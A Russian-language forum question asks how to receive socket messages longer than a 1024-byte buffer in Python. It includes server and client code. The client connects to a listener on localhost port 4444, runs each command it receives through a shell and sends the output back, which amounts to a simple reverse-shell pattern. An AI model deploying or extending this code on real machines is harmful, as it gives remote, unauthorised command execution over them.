Здравствуйте. Пишу скрипт сервера который, принимает данные от клиента и возникла такая проблема, что когда клиент передает большой обьем данных, превышающий размер буфера=1024 то сервер получает не все сообщение, а только его малую часть.
Порывшись в интернете, кроме старой информации со старым питоном ничего не обнаружил стоящего, что помогло бы мне разобраться. Прошу пожалуйста объясните, что мне нужно сделать, чтобы решить эту проблему? Какие есть способы реализации данной проблемы, какой способ лучше использовать? Надеюсь поможете.
Вот код сервера:
import socket, sys
ip = '127.0.0.1'
port = 4444
def listening(ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print('Жду соединения')
connection, address = listener.accept()
print(f'Получил соединение от {str(address)}')
run(connection)
def recv_msg(connection):
data = connection.recv(1024)
return data
def run(connection):
command = input('> ')
connection.send(command.encode())
result = recv_msg(connection)
print(result)
listening(ip, port)
Вот код клиента:
import socket, subprocess
def connecting(ip, port):
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
run(connection)
def executable_command(command):
result = subprocess.check_output(command, shell=True)
return result
def run(connection):
command = connection.recv(1024).decode()
result = executable_command(command)
connection.send(result)
connecting('127.0.0.1', 4444)